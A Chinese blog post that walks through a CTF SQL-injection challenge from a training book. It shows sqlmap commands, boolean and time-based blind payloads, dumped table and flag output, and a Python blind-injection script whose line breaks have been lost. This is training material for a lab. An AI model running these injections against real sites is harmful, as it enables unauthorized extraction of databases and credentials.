大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
未经允许,禁止转载 ,违者必究!!!!
本实验仅适用于学习和测试 ,严禁违法操作 ! ! !
今天更新的是:

  • 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程
  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)
  • 微信公众号回复:【CTF】,即可获取本文全部涉及到的工具。


创建时间:2021年5月30日
软件: MindMaster Pro、kali


这里写目录标题

  • CTF中的SQL注入
    • 第四题 SQL - 2
      • 第一种解法:利用SQLmap工具
      • 第二种解法:利用Python脚本跑

CTF中的SQL注入

第四题 SQL - 2

  • 一开始我以为这题环境进不去,后来才发现应该进的是login.php。
  • 习惯性的查看源代码:发现: 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
  • 我直接认输,掏出我的BP 来测试一波

  • 鼠标右键,复制保存文件,名称自定义,将文件格式改成.txt方便我们后面利用
  • 我将文件命名成3333.txt下面将利用到。

第一种解法:利用SQLmap工具

  • 根据题目环境,我们采用POST - 登录框注入方法。
  • 为什么采用POST - 登录框注入方法呢? 相信很多小伙伴一定会有疑问了。

像这种是登录窗口的,URL中不是以id=xxxx结尾的就可以采用这种方法进行尝试
http:// www.xxx.com /Login.asp
http://eci-2zeaeeh8hdp3xetqte3p.cloudeci1.ichunqiu.com/login.php

  • 将保存的3333.txt,剪切到kali里面,在终端中打开。(这属于基操,就不演示了)
  • 让我们来尝试破解吧。
  • 尝试找到注入点,指令: sqlmap -r 文件名.txt
 sqlmap -r 3333.txt
  • 爆破的得到的信息:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: name=admin' AND 3237=3237 AND 'pPVI'='pPVI&pass=123456Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=admin' AND (SELECT 8314 FROM (SELECT(SLEEP(5)))Ffoa) AND 'eRQd'='eRQd&pass=123456
---

  • sqlmap爆当前数据库信息

  • 尝试获取数据库信息,指令:sqlmap -r 文件名.txt --current-db

sqlmap -r 3333.txt --current-db
  • 爆破的得到的信息:
current database: 'note'
  • 用sqlmap爆出库名:note

  • sqlmap.列出指定数据库所有的表名
  • 尝试获取列出指定数据库所有的表名,指令: sqlmap -r 文件名.txt -D note(指定数据库名) --tables
sqlmap -r 3333.txt -D note --tables
  • 爆破的得到的信息:
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+
  • 用sqlmap爆出表名:fl4g,users

  • sqlmap 列出指定表名的所有列名
  • 尝试获取列出指定表名的所有列名,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) --columns(全部表)
 sqlmap -r 3333.txt -D note -T fl4g --columns
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+
  • 用sqlmap爆出列名:flag

  • sqlmap 打印输出表名指定列名字段的值数据
  • 尝试打印输出表名指定列名字段的值数据,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) -C flag(指定字段名) --dump (将结果导出)
sqlmap -r 3333.txt -D note -T fl4g  -C flag --dump
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

  • 终于拿到 flag:n1book{login_sqli_is_nice}大功告成。

第二种解法:利用Python脚本跑

  • 利用脚本进行布尔型注入
  • 脚本内涉及的信息根据自己用bp截取的数据进行修改。
import requestsdef Get(url):result = ''for i in range(1, 100):left = 32right = 128mid = (left + right) // 2while left < right:# 查询表名# name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \#        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)# 查询列名# name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \#        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)# 根据表名和列名查询字段值name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)data = {"name": name, "pass": "1223234"}res = requests.post(url, data)# 这里输入你的正确回显参数 :{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():left = mid + 1else:right = midmid = (left + right) // 2# 查询结果结束if mid == 32:breakresult += chr(mid)print(result)print(result)# 这里你的输入URL:
Get('http://eci-2ze95405pp0e0j1nojmj.cloudeci1.ichunqiu.com/login.php')
  • 得到 flag:n1book{login_sqli_is_nice}大功告成。

___

  • SQLmap 工具注入参考资料:
  • SQLmap 注入教程
  • SQL map 注入教程

各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !

博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!


CTF 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程相关推荐

  1. 从0到1:CTFer成长之路

    作者:Nu1L战队 出版社:电子工业出版社 品牌:电子工业出版社 出版时间:2020-10-01 从0到1:CTFer成长之路

  2. 《从0到1:CTFer成长之路》 [第一章 web入门] 常见的搜集

    <从0到1:CTFer成长之路> [第一章 web入门] 常见的搜集 启动环境: 提示为敏感文件,首先对网站目录进行扫描: 得到如上页面,首先访问robots.txt页面: 得到flag1 ...

  3. 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2

    [第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...

  4. 《从0到1:CTFer成长之路》粗心的小李

    前言: 我是CTF小白,创建此文章只为了记录自己学习的进度 题目: 我们先进入环境 这边给了提示,是吧git放到了外网环境,直接扫一下目录吧,查找一下git目录 git目录下是有东西的 所以我们可以利 ...

  5. 《从0到1:CTFer成长之路》常见的搜集

    前言: 我是CTF小白,创建此文章只为了记录自己学习的进度 题目: 我们先进入环境 看到信息搜集,直接用扫目录软件开扫 扫到了这个网页,我们进去查看一下 发现他给我们提示了一个网址,我们进入这个网址 ...

  6. 从0到1:CTFer成长之路docker环境搭建

    1. 安装 docker 使用官方安装脚本安装 sudo curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 也可以使 ...

  7. 从开源小白到 Apache Member,我的成长之路

    2019独角兽企业重金招聘Python工程师标准>>> 我们走过的每一步路,都会留下印记,越坚实,越清晰. 近日,Apache 软件基金会(ASF)官方 Blog 宣布全球新增 40 ...

  8. python linux运维教程 推荐_Linux运维人员成长之路学习书籍推荐

    原标题:Linux运维人员成长之路学习书籍推荐 一.入门书: <鸟哥的私房菜(基础篇)> <鸟哥的私房菜(服务篇)> <Linux命令行与Shell脚本编程大全(第2版) ...

  9. CTFer成长之路--一道历届逆向题解题过程(包含脱壳、算法分析)

    前言 CTF 是实战性很强的赛事.仅学习理论知识,不进行实操,永远无法成为 CTF 大神.从本篇博客开始,我将选择有代表性的历年CTF比赛题目,介绍解题过程,工具使用以及讲解知识点. 题目介绍 本次讲 ...

  10. CTF学习记录 i春秋 《从0到1:CTFer成长之路》文件上传

    21.10.19 第二次开始学习CTF 感觉很有收获 至少有让自己忙起来了的感觉 感觉有一些学习状态了 打算重新记录一下学习笔记!加油 我会坚持下去的! 题目代码 首先附上题目的代码段(不完整) sh ...

最新文章

  1. GOF对Builder模式的定义(转载)
  2. 前缀函数及kmp算法
  3. vs2010 常见问题处理
  4. 面向睡眠阶段分类的自适应时空图卷积神经网络
  5. java实现导出Excel的功能
  6. Java中的紧凑堆外结构/组合
  7. axios post json_助你解析Axios原理之一:如何实现多种请求方式
  8. 异步与多线程的区别 线程安全 (总结)
  9. Storm 实战:构建大数据实时计算
  10. html5回到顶部代码,JS返回顶部实例代码
  11. redis 默认过期策略_redis 过期策略
  12. Matlab实现分离变量法求解一维热传导方程的初边值问题
  13. ppt放映显示备注 投影不显示
  14. MC34063降压电路
  15. Mac使用-键盘符号对照
  16. Winform VS2022解决:自定义控件类库没在工具箱出现问题
  17. 蔬菜图片的类型识别系统【基于MobileNetV3模型】
  18. c语言case后面,switch语句case后面的范围怎么写
  19. selenium3 设置浏览器安装的位置
  20. 基于STM32MP1和QT的疫情监控平台

热门文章

  1. Android recovery分区表
  2. 相机快门、 光圈有啥区别?
  3. 计算机硬盘的参数错误,电脑提示移动硬盘参数错误的解决方法
  4. YOLOv5、v7改进之三十七:结合CVPR2022新作ConvNeXt网络
  5. Ubuntu键盘鼠标失灵
  6. Hexo even主题博客配置
  7. 小结——scanf和scanf_s的区别以及最近练习的一些习题
  8. 第二周:神经网络的编程基础(Basics of Neural Network programming)
  9. 人工智能之父图灵头像将登上新版50英镑钞票
  10. kill word out e ef en em